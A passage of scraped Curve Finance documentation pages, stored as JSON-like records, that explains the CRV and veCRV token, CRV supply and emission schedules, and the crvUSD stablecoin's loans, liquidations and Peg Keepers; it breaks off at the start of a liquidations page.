(Curve V1) Whitepaper For a detailed overview of Curve V1, please read the official whitepaper . Back to top", "labels": ["Documentation"]}, {"title": "CRV & veCRV FAQ", "html_url": "https://resources.curve.fi/crv-token/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ CRV & veCRV FAQ Table of contents What is the purpose and utility of CRV? How to get CRV? Where can I find the release schedule? What is the current circulating supply? When was CRV launched? What is CRV vote-locking? What is the vote locking boost? When did the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? How does the yearly emissions reduction work? How is CRV minted? Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What is the purpose and utility of CRV? How to get CRV? Where can I find the release schedule? What is the current circulating supply? When was CRV launched? What is CRV vote-locking? What is the vote locking boost? When did the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? How does the yearly emissions reduction work? How is CRV minted? Home CRV Token CRV & veCRV FAQ What is the purpose and utility of CRV? The main purposes of the Curve DAO token are to incentivize liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. It also has time-weighted voting for governance and accrues a portion of the Curve Finance fees generated when locked as veCRV. How to get CRV? CRV can be acquired in two ways: Bought off the market from an exchange As a reward for being a Liquidity provider in CRV with pools or lending markets that have CRV rewards. This ensures the protocol continues offering low fees and extremely low slippage. Where can I find the release schedule? You can find the release schedule for the next six years at this address on the main UI: https://dao.curve.fi/inflation . There is also detailed documentation in the Supply & Distribution about the CRV emissions for the next 10 years, and the supply calculator can be used to see the emissions for any year. What is the current circulating supply? There are three ways to check the circulating supply: On the main UI here: https://dao.curve.fi/inflation . In the supply calculator in these resources by looking at the statistics for today. The on-chain contract ( 0x14139EB676342b6bC8E41E0d419969f23A49881e ) which shows the circulating supply, net of locked or otherwise vested tokens. When was CRV launched? CRV was officially launched on the 13 th of August 2020. What is CRV vote-locking? \"Vote-locking\" refers to the process of locking CRV for a specified period to receive veCRV. The longer they lock for, the more veCRV they receive. Vote locking allows you to vote in governance, boost your CRV rewards and receive trading fees. Vote-locking boost is when users with veCRV (vote-locked CRV) receive boosted rewards when they provide liquidity to a pool/lending market. veCRV is not transferable When you lock your CRV tokens for voting, you will receive veCRV based on the lock duration. The veCRV tokens are non-transferable . Once the lock period has ended, users can reclaim their CRV tokens. What is the vote locking boost? When vote locking CRV, you will also earn a boost on your provided liquidity of up to 2.5x. The goal is to incentivize users to participate in governance by rewarding them with a bigger share of the daily CRV inflation. See more here When did the boost start? The boost was first applied on the 26 th of August 2020 around 11pm UTC. What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Each CRV locked for four years is equal to 1 veCRV. The number of veCRV you will receive depends on how long you lock your CRV for. The minimum locking time is one week and the maximum locking time is four years. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker How is your boost calculated? To reach your maximum boost of 2.5x, there are several parameters to take into consideration. You can see the formula for boosting here You can find the current DAO voting power at this address: https://dao.curve.fi/locker You can also find a calculator at this address: https://dao.curve.fi/minter/calc What if I provide liquidity in multiple pools? Your voting power applies to all gauges but may produce different boosts based on how much liquidity you are providing and how much total liquidity the pool has. What happens if more people vote lock? If other liquidity providers vote lock more CRV, your boost will stay what it was when you applied it. If you abuse this, another user can kick and force a boost update to take you down to your real boost. How often does my boost records voting power changes? Your voting weight decreases over time but your boost will take notice of your decreasing voting power at certain checkpoints like withdrawing, depositing into a gauge or minting CRV. For example if you start at 1000 veCRV and your voting power decreases to 800 veCRV, your boost will still use your original voting power of 1000 veCRV until a user checkpoint. How can I apply my boost? After creating or adding to your lock, you need to click the apply boost button to update your boost on each of the gauge you're providing liquidity in. Your boost can also be updated by depositing or withdrawing from a gauge. Click below for a guide on how locking and boosting your CRV rewards Boosting your CRV Rewards How to know my boost is active? If your boost is showing then it is active. If you have locked but your boost isn't showing then you need to apply it. How does the yearly emissions reduction work? The emissions reduction can be triggered by anyone after the time period (exactly 365 days) has elapsed since the last emissions reduction. This is done by calling the update_mining_parameters function on the CRV contract at the address 0xD533a949740bb3306d119CC777fa900bA034cd52 . When this is called a new epoch is started, triggering another 365 days. If no one calls this function then CRV continues to be emitted at the current rate, and no new epoch is triggered. If for example this was triggered 1 day late it would affect two important functions: The CRV supply will be higher than the theoretical maximum of 3,030,303,031.8 CRV The next emissions reduction will be delayed by 1 as the 365 day countdown begins 1 day late. This also means however, that each time a leap year happens the date at which someone can reduce the emissions will be brought forward one day of the year. How is CRV minted? CRV can be minted by users who stake in gauges after they are allocated some to mint. When this happens CRV tokens are minted into existence, added to the total supply and transferred to the user. If users choose to not mint until a later date, this can create a discrepancy between the theoretical supply of tokens and the real supply of tokens shown on block explorers. Back to top", "labels": ["Documentation"]}, {"title": "CRV Overview", "html_url": "https://resources.curve.fi/crv-token/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Overview & Tokenomics Table of contents Supply Utility The CRV Matrix Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Supply Utility The CRV Matrix Home CRV Token CRV Overview The CRV token is the token for Curve DAO which governs the whole Curve Finance ecosystem. CRV was launched on August 13, 2020. Supply The total supply of 3.03 billion is distributed as such: 62% to community liquidity providers 30% to shareholders (team and investors) with 2-4 years vesting 5% to the community reserve 3% to employees with 2 years vesting The initial supply of around 1.3b (~43%) was distributed as such: 5% to pre-CRV liquidity providers with 1 year vesting 30% to shareholders (team and investors) with 2-4 years vesting 3% to employees with 2 years vesting 5% to the community reserve The circulating supply was 0 at launch and the initial release rate was around 2m CRV per day. CRV inflation (community emissions for providing liquidity) started at 274 million tokens a year in 2020, and each year it decreases by roughly 16%. See the Supply & Distribution page for more detailed information. Utility There are 4 main use-cases for CRV, most require locked CRV (veCRV): Incentivizing liquidity providers to provide liquidity to pools and lending markets through CRV rewards. This is how CRV tokens are distributed to the community. Allowing liquidity providers to boost their CRV rewards up to 2.5x by holding veCRV. Allowing users to participate and vote in governance proposals including directing CRV emissions (gauge weight votes) through holding veCRV. Collecting a portion of the fees from swaps and loans that occur on Curve through holding veCRV. Info veCRV stands for vote-escrowed CRV , representing CRV tokens locked for voting in the Curve DAO. Locked CRV, Vote-locked CRV and vote-escrowed CRV all mean veCRV, these terms are used interchangeably throughout the ecosystem. For information about how to lock see the locking guide , or for more information about veCRV, see the veCRV page . The CRV Matrix The table below can help you understand the value of CRV and veCRV in different situations Liquidity in Pool & no veCRV Liquidity in Pool & veCRV Liquidity in Pool & Staked in Gauge & no veCRV Liquidity in Pool & Staked in Gauge & veCRV No Liquidity & no veCRV No Liquidity & veCRV Earns lending & trading fees Yes Yes Yes Yes No No Earns CRV Emissions No No Yes Yes No No Earns boosted CRV Emissions No No No Yes No No Can vote on DAO Proposals No Yes No Yes No Yes Can vote on Gauge Weight No Yes No Yes No Yes Earns Admin Fees No Yes No Yes No Yes Back to top", "labels": ["Documentation"]}, {"title": "CRV Supply and Distribution", "html_url": "https://resources.curve.fi/crv-token/supply-distribution/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution Supply & Distribution Table of contents Total Supply Allocation Token Launch Community Emissions (CRV Inflation) CRV Emissions for the next 10 years Notable Emission Years Supply Calculator CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Total Supply Allocation Token Launch Community Emissions (CRV Inflation) CRV Emissions for the next 10 years Notable Emission Years Supply Calculator Home CRV Token CRV Supply and Distribution There is a fixed total supply of 3,030,303,031 CRV . No CRV tokens can ever be minted after that. The total supply of CRV tokens allocated to different groups is shown below in the \"CRV Total Allocation\" chart. Not all CRV are currently minted or circulating . CRV tokens are slowly minted to the community each week and will continue to be released for over 200 years. The amount of tokens minted each week is defined in the community emissions section . Have a look over this page to learn about how CRV has been allocated and how much is distributed each week. The Supply Calculator is a great tool see the CRV supply and statistics on any date. Total Supply Allocation The below chart shows the total allocation of CRV to different groups within the Curve ecosystem. Group Allocated CRV Percentage Community (emissions) 1,727,272,729 57% Early Users (pre-CRV liquidity providers) 151,515,152 5% Core Team 800,961,153 26.43% Investors 108,129,756 3.57% Employees 90,909,091 3% Community Reserve 151,515,152 5% Total 3,030,303,031 100% The above allocation shows that the community will own 67% of all CRV when the total supply is distributed, but note that CRV tokens will continue to be distributed until 2376 , but meaningful distributions will stop in around 50 years, see notable emissions years for how the yearly distribution will change over time. Token Launch CRV officially launched on the 13 th of August 2020 . At the time of launch there were no unlocked tokens. All tokens in the launch were linearly vested for 1-4 years (gradually unlocking over a period of 1-4 years). The initial supply is quoted as 1,303,030,303 because these tokens were pre-mined and sent into the vesting contracts, which gradually unlocked them. Below shows the allocation to different groups of the initial distribution. Group Allocated CRV Vesting Years Transactions Early Users (pre-CRV liquidity providers) 151,515,152 1 1 1 Core Team 800,961,153 4 1 Investors 108,129,756 2 1 , 2 , 3 Employees 90,909,091 2 1 , 2 Community Reserve 151,515,152 N/A 2 1 Total 1,303,030,303 1 The circulating supply was 0 at launch. Each day of the first year approx. 750k tokens were emitted to the community for providing liquidity and 1.65million tokens were vested (unlocked). Use the supply calculator below to see how quickly tokens became liquid and circulating. Tip 6 year CRV release schedule is available here: https://dao.curve.fi/releaseschedule , or the full release schedule is available as a google spreadsheet here . Community Emissions (CRV Inflation) Community emissions (regularly called CRV Inflation) are minted and allocated to gauges based on the weekly weight gauge vote. Gauges have a very flexible design and can direct emissions to liquidity pools and suppliers of a lending market, or even to funding for the Vyper programming language. Community emissions reduce each year. They are modelled off the Bitcoin Halving which halves the allocation every 4 years, in Curve however, we reduce rewards by \\(2^{\\frac{1}{4}}\\) every 365 days instead. This works out to be approx. 16% each year and 50% every 4 years. Community emissions were initially set at 274,815,283 CRV for the first year. This means the formula for how much CRV is emitted to the community in any year is: \\[\\text{Yearly Community Emissions} = \\frac{274,815,283}{2^{\\text{year}/4}}\\] Where year is the number of years after 13 th August 2020, e.g., year 1 emissions are for the period 13 th August 2021 until 13 th August 2022. The emissions for year 10 are for the period of 11 th August 2030 - 11 th August 2031 (2 leap years with 366 days, yet Curve assumes all years have 365 days), this would come to 48,580,938 CRV emitted for that year. In the smart contracts the yearly community emissions is not defined, it's actually defined as a rate of CRV emitted per second, we can convert between the yearly and per second value using the following formula: \\[\\text{Emission Rate} = \\frac{\\text{Yearly Community Emissions}}{365 \\times 84600}\\] We divide by \\(365 \\times 84600\\) because there is 365 days in a year and 86400 seconds in a day. The emission rate has 18 decimal places, this means that emissions continue for 245 years . The emission rate will be 0.000000000000000001 CRV/sec in year 2265. Emissions are hardcoded and cannot change . See the notable emission years below, or have a play with the supply calculator to see how much CRV will be distributed and to who in different years. See this section of the FAQ for how the yearly reduction works. See this section for how CRV is minted and added to the supply. CRV Emissions for the next 10 years See below for a chart of how the CRV will be distributed each year for the next 10 years. This year (2024), is the last year of the Core Team's CRV allocation vesting. After August 12 th , 2024 all CRV added to the circulating supply will be distributed to the community through gauges, and CRV inflation will fall dramatically from 20.37% to 6.34% for the year. Note: dashed lines are percentage values and relate to the percentage axis, other lines relate to the CRV amount axis, click on datasets to turn them on/off. Notable Emission Years As CRV will continue to be distributed for 245 years, interesting years of CRV distribution are noted below. See the google spreadsheet here for data for all years. Year Date Start Date Finish CRV Emissions Note 5 2025-08-12 2026-08-12 115,545,593 Last year emissions > 100M 19 2039-08-09 2040-08-08 10,212,884 Last year emissions > 10M 32 2052-08-05 2053-08-05 1,073,497 Last year emissions > 1M 45 2065-08-02 2066-08-02 112,837 Last year emissions > 100k 58 2078-07-30 2079-07-30 11,860 Last year emissions > 10k 72 2092-07-26 2093-07-26 1,048 Last year emissions > 1k 85 2105-07-24 2106-07-24 110.1 Last year emissions > 100 98 2118-07-21 2119-07-21 11.58 Last year emissions > 10 112 2132-07-17 2133-07-17 1.023 Last year emissions > 1 245 2264-06-15 2265-06-15 0.000000000031536000 Last year of emissions Supply Calculator Accuracy Disclaimer : This calculator is theoretical based on vesting schedules and smart contract formulae . It does not pull data from the Ethereum blockchain. It may show slightly different values because users can wait any period of time before minting CRV from liquidity emissions, or unlocking claimable tokens from vesting contracts. It is also assumed that community reserve tokens are vested for a 1 year period. This is not completely true as they are vested for at least 1 year once allocated to a cause by the DAO. Choose a date: Launch Day Today Next Reduction 20 Years Total CRV Circulating Daily CRV Added to Circulating Definition of terms in the calculator: Vesting/Vested - Vesting tokens are locked for a time period. Vested tokens are unlocked as the vesting time period elapsed. Emissions/Emitted - Emissions are CRV Inflation from newly minted CRV increasing the supply. Emitted are the CRV which were added to the supply. Max CRV Supply - Unchanging value, the max CRV that can exist. Total CRV Circulating - The total supply of CRV unlocked from vesting and released from community emissions. Including rewards that can currently be claimed/minted by users. Total CRV Supply - The amount of minted CRV which currently exists, including pre-mined CRV locked in vesting contracts. Remaining CRV Emissions - Remaining amount of CRV to be emitted to the community. Remaining CRV Vesting - Remaining CRV to be unlocked from vesting contracts. Percentage of CRV Circulating - Measure of the max CRV supply compared to the current circulating supply. Total CRV Circulating divided by Max CRV Supply . CRV Inflation Rate - Measure of the yearly CRV emitted & vested compared to the current circulating supply. Yearly CRV Emitted & Vested divided by Total CRV Circulating . This was vested through the public vesting contract These tokens had no vesting themselves, but the contract they are allocated to creates other vesting contracts. When tokens are allocated from this pool they create a child vesting contract with a minimum 1 year vesting period. Back to top", "labels": ["Documentation"]}, {"title": "Curve Stablecoin: FAQ", "html_url": "https://resources.curve.fi/crvusd/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ crvUSD FAQ Table of contents General What is crvUSD and how does it work? How does the crvUSD liquidation process differ from other debt-based stablecoins? How is crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? What is a 'loan discount' and what impact does it have? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has crvUSD been audited? Can I see the code? Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents General What is crvUSD and how does it work? How does the crvUSD liquidation process differ from other debt-based stablecoins? How is crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? What is a 'loan discount' and what impact does it have? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has crvUSD been audited? Can I see the code? Home Curve Stablecoin (crvUSD) Curve Stablecoin: FAQ General What is crvUSD and how does it work? crvUSD refers to a dollar-pegged stablecoin, which may be minted by a decentralized protocol developed by Curve Finance. Users can mint crvUSD by posting collateral and opening a loan within this protocol. How does the crvUSD liquidation process differ from other debt-based stablecoins? crvUSD uses an innovative mechanism to reduce the risk of liquidations. Instead of instantly triggering a liquidation at a specific price, a users collateral is converted into stablecoins across a smooth range of prices. Simulations suggest most price drops would result in the loss of just a few percentage points worth of collateral value, instead of the instant and total loss implemented by the liquidation process common to most debt-based stablecoins. How is crvUSD pegged to a price of $1? The crvUSD peg is broadly protected by the fact that the protocol is always overcollateralized. The protocol employs a number of stabilization mechanisms to fine-tune this peg. One mechanism is to automatically adjust borrow rates based on supply and demand. The protocol also relies on Peg Keepers (see below section), which are authorized to burn or mint crvUSD based on market conditions. Can other types of collateral be proposed for crvUSD? How does that process work? Yes, other collateral markets can be proposed for crvUSD through governance. Contact the community support channels for additional information on the current process to propose new collateral types. Each approved collateral has its own crvUSD market. What is a 'loan discount' and what impact does it have? A 'loan discount' is a percentage applied to reduce the value of collateral for determining the maximum borrowable amount. A higher loan discount results in a lower borrowing limit, acting as a safety margin for lenders against collateral value declines. The maximum amount that can be borrowed is also influenced by other factors, such as market conditions and asset volatility. For more details on these factors and their impact on borrowing, see the technical documentation at https://docs.curve.fi/crvUSD/amm/ . Liquidation Process What is my liquidation price? At the start of the crvUSD loan process, collateral is deposited and equally distributed over a range of prices, not just a single liquidation price. Should the price fall within this range, the collateral begins its conversion into crvUSD. This process aids in maintaining the loan's health and, under most conditions, wards off liquidation. As a result, there isn't one specific liquidation price. When depositing collateral, how do I adjust and select my collateral deposit price range? The price range can be optionally adjusted and customized during the initial loan creation process. In the UI, the advanced mode toggle provides further insights into this range. It also presents an Adjust button, enabling users to fine-tune their preferred price range. What happens when the collateral price drops into my selected range? (soft-liquidation) Each crvUSD market is linked to an Automated Market Maker (AMM). If the collateral price falls into the selected range, this collateral becomes tradable in the AMM. At this juncture, traders have the opportunity to acquire the collateral, substituting it with crvUSD. Consequently, the loan becomes collateralized by stablecoins, known for their more reliable value retention, contributing to the sustained health of the loan. What happens if the collateral price recovers? (de-liquidation) As the collateral price increases, the aforementioned process reverses. The position undergoes trading through the AMM, transitioning from crvUSD back to the original form of collateral. Owing to AMM trading fees, it's typical for a slight percentage of the original collateral value to be diminished once the collateral price surpasses the upper limit of the predetermined liquidation range. Under what circumstances can I be liquidated? (hard-liquidation) Should a loan's health drop below 0%, it becomes eligible for liquidation. In this scenario, the collateral is sold off, and the position closes. Although the crvUSD collateral conversion mechanism within the AMM is designed to protect against liquidations, it might not keep up with severe price fluctuations. It is advisable for borrowers to maintain their loan health, especially when prices fall within the selected liquidation range. How do I maintain my loan health if collateral price drops into my range? When the collateral price falls into the liquidation range, adding new collateral to protect loan health is not permitted. Within this liquidation range, loan health can only be improved by repaying crvUSD. Even minimal crvUSD repayments can be effective in preventing liquidation while the collateral price resides within this range. What happens to the collateral in the event of hard liquidation? In the event of a hard liquidation, all available collateral is sold off by the AMM system, the debt is covered, and the loan is closed. What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? The 'liquidation discount' is calculated based on the collateral's market value and is designed to incentivize liquidators to participate in the liquidation process. This factor is used to effectively discount the collateral valuation when calculating the health for liquidation purposes. In other protocols, this may be referred to as a liquidation threshold and is often hard-coded instead of calculated dynamically. Peg Keepers What are Peg Keepers? The Peg Keepers are contracts uniquely enabled to mint and absorb debt in crvUSD for the purposes of trading near the peg. Under what circumstances can the Peg Keepers mint or burn crvUSD? Each Peg Keeper targets a specific Peg Keeper pool . A Peg Keeper pool is a Curve v1 pool allowing trading between crvUSD and a blue chip stablecoin. The Peg Keepers are responsible for trying to balance these pools by trading at a profit. The Peg Keepers can only mint crvUSD to trade into their associated pools when its pool balance of crvUSD is too low, or it can repurchase and burn the crvUSD if its pool balance is too high. What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? A Peg Keeper's debt is the amount of crvUSD it has deposited into a specific pool. Total debt in crvUSD includes all outstanding crvUSD that has been borrowed across the system. What does it mean if the Peg Keeper's debt is zero? If a Peg Keeper's debt is zero, it means that the Peg Keeper has no outstanding debt in the crvUSD system. How does Peg Keeper trade and distribute profits? Every Peg Keeper has a public update function. If the Peg Keeper has accumulated profits, then a portion of these profits are distributed at the behest of the user who calls the update function, in order to incentivize distributed trading in the pools. Calling update() via Etherscan To access this information on Etherscan, one can visit the LLAMMA details on the crvUSD UI within any market. By clicking the Monetary Policy, users are directed to the contract on Etherscan. There, under the Contract tab, they should select the Read Contract tab. Function 6 ( peg_keepers ) requires the index value of the market of interest, ranging from 0 to n-1, where n represents the number of crvUSD markets. After entering this index and navigating to the returned address, users need to navigate to Contract and Read Contract again. This time, they access function 6 ( estimate_caller_profit ) to estimate the caller profit. After evaluating if the execution of the following function makes sense, the Write Contract tab must be selected, a wallet connected, and function 1 ( update ) called. Borrow Rate What is the Borrow Rate? The Borrow Rate is the variable interest rate charged on active loans within each collateral market. How is the crvUSD Borrow Rate calculated? The Borrow Rate for each crvUSD collateral market is calculated based on a series of parameters, including the Peg Keeper's debt, the total debt, and the market demand for borrowing. Safety and Risks What are the risks of using crvUSD As with all cryptocurrencies, crvUSD carries several risks, including depeg risks and risk of user collateral liquidation. Make sure to read the disclaimer and exercise caution when interacting with smart contracts. How can I best manage my risks when providing liquidity or borrowing in crvUSD? Best risk management practices include maintaining a safe collateralization ratio, understanding the potential for liquidation, and keeping an eye on market conditions. Has crvUSD been audited? Yes, please see the audits here Curve Stablecoin Audits . Can I see the code? The code is publicly available on the Curve Github . Back to top", "labels": ["Documentation"]}, {"title": "Soft & Hard Liquidations", "html_url": "https://resources.curve.fi/crvusd/liquidations/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Liquidations Table of contents Soft-Liquidation Hard-Liquidation Hard-Liquidation Example Managing Health & Self-Liquidation Example Soft-liquidation Applet Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations Liquidations Table of contents Soft-Liquidation Hard-Liquidation Hard-Liquidation Example Managing Health & Self-Liquidation Example Soft-liquidation Applet How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Soft-Liquidation Hard-Liquidation Hard-Liquidation Example Managing Health & Self-Liquidation Example Soft-liquidation Applet Home Curve Lending Soft & Hard Liquidations Liquidations on Curve Lending and crvUSD work differently to 